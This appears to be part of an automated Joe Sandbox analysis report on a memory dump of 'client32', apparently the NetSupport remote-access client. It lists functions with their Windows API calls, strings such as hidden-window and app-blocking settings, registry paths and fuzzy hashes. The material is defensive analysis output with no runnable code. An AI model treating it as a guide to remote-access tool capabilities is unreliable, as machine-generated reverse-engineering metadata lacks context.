Function 110F6150 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(Kernel32.dll,AB86ACF8,00000002,00000000,?), ref: 110F618F
GetCurrentProcessId.KERNEL32 ref: 110F61D1
GetProcAddress.KERNEL32(?,ProcessIdToSessionId), ref: 110F61DE
SetLastError.KERNEL32(00000078), ref: 110F6203
GetCurrentProcessId.KERNEL32 ref: 110F620C
OpenProcess.KERNEL32(00000400,00000000,00000000), ref: 110F6215
OpenProcessToken.ADVAPI32(00000000,00000008,11189C68), ref: 110F6228
GetTokenInformation.ADVAPI32(11189C68,0000000C(TokenIntegrityLevel),111EA880,00000004,?), ref: 110F6247
CloseHandle.KERNEL32(11189C68), ref: 110F626A
CloseHandle.KERNEL32(00000000), ref: 110F6271
FreeLibrary.KERNEL32(?), ref: 110F627B

Strings

Kernel32.dll, xrefs: 110F6187
ProcessIdToSessionId, xrefs: 110F61D8

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Process$CloseCurrentHandleLibraryOpenToken$AddressErrorFreeInformationLastLoadProc
String ID: Kernel32.dll$ProcessIdToSessionId
API String ID: 219584714-2825297712
Opcode ID: e865c6473b299d360233d20d6969acab5fbd0a0a238613220fb6c2a45ad82976
Instruction ID: 420031f46cca3c2d8ff2aa46f1ed04d10c13eca04bac1e8faae0ba62584c02a7
Opcode Fuzzy Hash: e865c6473b299d360233d20d6969acab5fbd0a0a238613220fb6c2a45ad82976
Instruction Fuzzy Hash: 5C4119B5E416299FDB15DFE9DD89AAEFBB8FB08B04F10052AF421E3644D77099018B90

Function 1101F0D0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 116windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1101F0FE
SystemParametersInfoA.USER32(00000029,00000000,?,00000000), ref: 1101F11D

Part of subcall function 110CCE60: GetWindowRect.USER32(110CEFF5,?), ref: 110CCE7C

Part of subcall function 110CCE60: SetRectEmpty.USER32(?), ref: 110CCE88

DeleteObject.GDI32(00000000), ref: 1101F16C
DeleteObject.GDI32(00000000), ref: 1101F178
CreateFontIndirectA.GDI32(?), ref: 1101F187
CreateFontIndirectA.GDI32(?), ref: 1101F19F
GetMenuItemCount.USER32 ref: 1101F1A7
_memset.LIBCMT ref: 1101F1CF
GetMenuItemInfoA.USER32(?,00000000,00000001,?), ref: 1101F20C
__strdup.LIBCMT ref: 1101F221
SetMenuItemInfoA.USER32(?,00000000,00000001,00000030), ref: 1101F279

Strings

0, xrefs: 1101F1E8
MakeOwnerDraw, xrefs: 1101F0E4

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InfoItemMenu$CreateDeleteFontIndirectObjectRect_memset$CountEmptyParametersSystemWindow__strdup
String ID: 0$MakeOwnerDraw
API String ID: 1249465458-1190305232
Opcode ID: c1d057d4b376d33391db275f0bf70fb86bac35c6ea87d071bec4acea8677cd57
Instruction ID: cad075490b8b101532292c9a84c7126ab9bfd0db94d612dc2b0baac2de7b47d0
Opcode Fuzzy Hash: c1d057d4b376d33391db275f0bf70fb86bac35c6ea87d071bec4acea8677cd57
Instruction Fuzzy Hash: 19417E71D012399BDB64DFA4CC89BD9FBB8BB09708F0001D9E508A7284DBB46A84CF94

Function 110420B0 Relevance: 22.7, APIs: 1, Strings: 14, Instructions: 181sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

Sleep.KERNEL32(000005DC,?,_License,Product,0000000A,00000000), ref: 110420FB

Part of subcall function 1105E950: __itow.LIBCMT ref: 1105E975

Strings

Product, xrefs: 110420D7, 11042169
DisableJournal, xrefs: 11042236, 110422C9
DoNewLic received (VistaUI=%d), xrefs: 110420BD
_License, xrefs: 110420DC, 1104213D, 1104214D, 1104216E
DisableJournalMenu, xrefs: 1104224D, 110422DB
DisableReplayMenu, xrefs: 11042208, 11042299
Reset JoinClass, ReplayMenu, RequestHelp, Journal and Audio, ts=%d, vui=%d, config %x, xrefs: 110421D8
IsFree %d, was free %d, xrefs: 11042187
DisableAudio, xrefs: 11042264, 110422F9
DisableJoinClass, xrefs: 110421F6, 11042281
Expired, xrefs: 11042138, 11042148
Client, xrefs: 110421FB, 1104220D, 11042224, 1104223B, 11042252, 11042269, 11042286, 1104229E, 110422B6, 110422CE, 110422E6, 110422FE
DisableRequestHelp, xrefs: 1104221F, 110422B1
**** Reset expire flag, xrefs: 11042308

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Sleep__itow__wcstoi64
String ID: **** Reset expire flag$Client$DisableAudio$DisableJoinClass$DisableJournal$DisableJournalMenu$DisableReplayMenu$DisableRequestHelp$DoNewLic received (VistaUI=%d)$Expired$IsFree %d, was free %d$Product$Reset JoinClass, ReplayMenu, RequestHelp, Journal and Audio, ts=%d, vui=%d, config %x$_License
API String ID: 4129630603-1903392697
Opcode ID: d46471da32b8e076ae62e4517dea457e2a850050897a959a9ec011138dfc9d33
Instruction ID: f1bcba3b4901feba08b80abf289acb79b6efd6a89dcbef1bb648f8c495c40a7b
Opcode Fuzzy Hash: d46471da32b8e076ae62e4517dea457e2a850050897a959a9ec011138dfc9d33
Instruction Fuzzy Hash: 2251497CB421267BE251C692ECA1FAAFB59AF40708F508494F91D3B6C5DB217A00C3E6

Function 11008270 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 264windowCOMMON

Download Yara Rule

APIs

ReleaseDC.USER32(?,?), ref: 110082C5
_free.LIBCMT ref: 110083F3
SelectObject.GDI32(?,?), ref: 11008415
DeleteDC.GDI32(?), ref: 11008422
DeleteObject.GDI32(?), ref: 1100842F

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

GetDC.USER32(00000000), ref: 1100845D
CreateCompatibleDC.GDI32(00000000), ref: 1100846A
CreateCompatibleBitmap.GDI32(?,00000004,00000010), ref: 11008481
SelectObject.GDI32(?,00000000), ref: 11008495
_malloc.LIBCMT ref: 110084F5

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110082AE, 11008447
m_hWnd, xrefs: 110082B3, 1100844C

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Object$CompatibleCreateDeleteSelect$BitmapErrorExitLastMessageProcessRelease_free_mallocwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2152670842-2830328467
Opcode ID: a992970416ae98f5764fdb88d940cebc96354c4d0f2882b7071d2e963891bf7d
Instruction ID: 3850b8ccd8beb0e98ab4cbe1f7b01c035796fd6338f527faacd148ed971815aa
Opcode Fuzzy Hash: a992970416ae98f5764fdb88d940cebc96354c4d0f2882b7071d2e963891bf7d
Instruction Fuzzy Hash: D0B1F7B5A00B019FD364CF29C984AD7B7E5FB88359F10892EE5AE97351DB30B941CB50

Function 11131320 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 187COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,11139C95,00000000), ref: 11131428
ShowWindow.USER32(00000000,00000000,?,11139C95,00000000), ref: 11131457

Strings

StatusMode, xrefs: 1113146D
gUI.hidden_window, xrefs: 11131441
Hidden, xrefs: 111313C7, 11131411
#32770, xrefs: 111313CC, 11131416
Client, xrefs: 11131472
UI.CPP, xrefs: 1113143C

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLastShowWindow
String ID: #32770$Client$Hidden$StatusMode$UI.CPP$gUI.hidden_window
API String ID: 3252650109-4091810678
Opcode ID: 0ae299210a7d0d5a262dbccdfbf7f866bd70b7d9559bf6e9f26038e806d2e655
Instruction ID: 1b40a51cdbaebc86ba70b46d463032212dc909346aab7ab50ce078dfded898e8
Opcode Fuzzy Hash: 0ae299210a7d0d5a262dbccdfbf7f866bd70b7d9559bf6e9f26038e806d2e655
Instruction Fuzzy Hash: 2161D571B84325ABE711CF90CC85F69F774E784B29F104129F625AB2C4EBB56940CB84

Function 110F7300 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 137libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(Wtsapi32.dll,AB86ACF8,1102E747,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 110F732D
GetProcAddress.KERNEL32(00000000,WTSQuerySessionInformationA), ref: 110F7372
GetProcAddress.KERNEL32(?,WTSFreeMemory), ref: 110F73C3
SetLastError.KERNEL32(00000078,?,?,?,?,?,?,?,?,?,?,00000000,11189DD0,000000FF,?,1102A280), ref: 110F73D8
GetProcAddress.KERNEL32(?,WTSFreeMemory), ref: 110F73FD
SetLastError.KERNEL32(00000078,?,?,?,?,?,?,?,?,?,?,?,?,00000000,11189DD0,000000FF), ref: 110F7412
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,11189DD0,000000FF), ref: 110F7423
SetLastError.KERNEL32(00000078,?,?,?,?,?,?,?,?,?,?,00000000,11189DD0,000000FF,?,1102A280), ref: 110F7440
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,11189DD0,000000FF,?,1102A280), ref: 110F7451

Strings

Wtsapi32.dll, xrefs: 110F7328
WTSFreeMemory, xrefs: 110F73BD, 110F73F7
WTSQuerySessionInformationA, xrefs: 110F7368

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastLibraryProc$Free$Load
String ID: WTSFreeMemory$WTSQuerySessionInformationA$Wtsapi32.dll
API String ID: 2188719708-2019804778
Opcode ID: 8f9cdb94902dff30692c8c6071e3b83f8d748f677524ce08c30458c8737fae8d
Instruction ID: 4e6ae02227e90de241cbe6e1e3770e4d50810e342ffe13a4e1f679076b39a632
Opcode Fuzzy Hash: 8f9cdb94902dff30692c8c6071e3b83f8d748f677524ce08c30458c8737fae8d
Instruction Fuzzy Hash: 49511371D4121AEFDB14DFD9D9C5AAEFBF5FB48300F51846AE829E3600DB34A9018B61

Function 1103F520 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 126windowCOMMON

Download Yara Rule

APIs

Part of subcall function 110CF130: GetDlgItem.USER32(?,000017DD), ref: 110CF18A
Part of subcall function 110CF130: ShowWindow.USER32(00000000,00000000), ref: 110CF1AF
Part of subcall function 110CF130: GetWindowRect.USER32(00000000,?), ref: 110CF1DD
Part of subcall function 110CF130: GetObjectA.GDI32(00000000,0000003C,?), ref: 110CF21D
Part of subcall function 110CF130: GetWindowTextA.USER32(00000000,?,00000100), ref: 110CF276

GetDlgItem.USER32(?,00000472), ref: 1103F557

Part of subcall function 11160450: SetPropA.USER32(00000000,00000000,00000000), ref: 1116046E
Part of subcall function 11160450: SetWindowLongA.USER32(00000000,000000FC,1115FE60), ref: 1116047F

wsprintfA.USER32 ref: 1103F5D1
GetSystemMenu.USER32(?,00000000), ref: 1103F5F6
EnableMenuItem.USER32(00000000,0000F060,00000002), ref: 1103F604
SetWindowPos.USER32(00000000,00000001,00000000,00000000,00000000,00000000,00000003), ref: 1103F663
SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000003), ref: 1103F692
MessageBeep.USER32(00000000), ref: 1103F696

Part of subcall function 111457A0: GetModuleFileNameA.KERNEL32(00000000,?,00000104,11195AD8), ref: 1114580D
Part of subcall function 111457A0: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1111025B), ref: 1114584E
Part of subcall function 111457A0: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 111458AB

Strings

BlockedAppFile, xrefs: 1103F5A8
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 1103F63B, 1103F670
%sblockapp.jpg, xrefs: 1103F5CB
Client, xrefs: 1103F5AD
m_hWnd, xrefs: 1103F640, 1103F675

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$Item$FolderMenuPath$BeepEnableFileLongMessageModuleNameObjectPropRectShowSystemTextwsprintf
String ID: %sblockapp.jpg$BlockedAppFile$Client$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1300213680-78349004
Opcode ID: d5c730e152b545e79a5963070a614e137598c0869bf15a99c767d92fa3b08f3b
Instruction ID: 6f07d7162ed8c172429d77206b5c6f615c65d6256772802cbf9fe3e1e633a07a
Opcode Fuzzy Hash: d5c730e152b545e79a5963070a614e137598c0869bf15a99c767d92fa3b08f3b
Instruction Fuzzy Hash: 0641EE757403197FD720DBA4CC86FDAF3A4AB48B08F104568F3666B5C0DAB0B980CB55

Function 111060B0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 84fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 111060BD
EnterCriticalSection.KERNEL32(111F160C,?,00000000,?,?,1114E3DD,?,1118D473,?,1118D473,000000FF,?,1114E7EB), ref: 111060C6
GetTickCount.KERNEL32 ref: 111060CC
GetTickCount.KERNEL32 ref: 111060FE
LeaveCriticalSection.KERNEL32(111F160C,?,00000000,?,?,1114E3DD,?,1118D473,?,1118D473,000000FF,?,1114E7EB), ref: 11106107
EnterCriticalSection.KERNEL32(?,?,00000000,?,?,1114E3DD,?,1118D473,?,1118D473,000000FF,?,1114E7EB), ref: 11106128
WriteFile.KERNEL32(00000000,1118D473,?,?,00000000,?,00000000,?,?,1114E3DD,?,1118D473,?,1118D473,000000FF), ref: 11106140
LeaveCriticalSection.KERNEL32(?,?,00000000,?,?,1114E3DD,?,1118D473,?,1118D473,000000FF,?,1114E7EB), ref: 1110614D
GetTickCount.KERNEL32 ref: 1110615C
LeaveCriticalSection.KERNEL32(111F160C,?,00000000,?,?,1114E3DD,?,1118D473,?,1118D473,000000FF,?,1114E7EB), ref: 11106165

Strings

Warning. took %d ms to get simap lock, xrefs: 111060D8
Warning. simap lock held for %d ms, xrefs: 11106117, 11106175

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$Leave$Enter$FileWrite
String ID: Warning. simap lock held for %d ms$Warning. took %d ms to get simap lock
API String ID: 831250470-625438208
Opcode ID: b9d1af00e1bf6dd2141f06b6bc4c907b37dd27444a28205debb36fb9e20f67e7
Instruction ID: 13f5c4759399fea5f197c2842d94d2023bcd330517dc4026a62a2474a30daa22
Opcode Fuzzy Hash: b9d1af00e1bf6dd2141f06b6bc4c907b37dd27444a28205debb36fb9e20f67e7
Instruction Fuzzy Hash: 08210B79A40228AFDB009FB5DD88DAAFBA8EB863197140576FC19D7605D631DC44CBE0

Function 1105F200 Relevance: 19.9, APIs: 3, Strings: 10, Instructions: 368COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1105F251
wsprintfA.USER32 ref: 1105F265

Part of subcall function 110ED570: RegCreateKeyExA.ADVAPI32(00000000,0002001F,00000000,00000000,80000001,?,1105F29C,?,00000000,?,00000000,75BF8400,?,?,1105F29C,80000001), ref: 110ED59B

Part of subcall function 110ED520: RegOpenKeyExA.KERNEL32(?,00000056,00000000,00020019,?,?,00000000,00000001,?,11030BFF,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110ED53C

wsprintfA.USER32 ref: 1105F5D6

Part of subcall function 110ED180: RegEnumKeyExA.ADVAPI32(?,?,?,00000200,00000000,00000000,00000000,00000000,?,00000000), ref: 110ED1CB

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Part of subcall function 11029A70: _strrchr.LIBCMT ref: 11029B65
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029BA4

Strings

NetSupport School, xrefs: 1105F310, 1105F44C, 1105F4A5
IsA(), xrefs: 1105F3D6, 1105F439, 1105F480, 1105F4CA, 1105F501, 1105F68E, 1105F6DB
ConfigList, xrefs: 1105F2E7, 1105F36C, 1105F628
General\ProductId, xrefs: 1105F30B, 1105F32B, 1105F3F1, 1105F6A9
Software\NetSupport Ltd, xrefs: 1105F254
Software\Productive Computer Insight, xrefs: 1105F238, 1105F5C5
%s\%s, xrefs: 1105F245, 1105F25F
NetSupport School Pro, xrefs: 1105F330, 1105F493
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1105F3D1, 1105F434, 1105F47B, 1105F4C5, 1105F4FC, 1105F689, 1105F6D6
Software\Classes\VirtualStore\MACHINE\%s\%s\ConfigList, xrefs: 1105F5D0

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$ExitProcess$CreateEnumErrorLastMessageOpen_strrchr
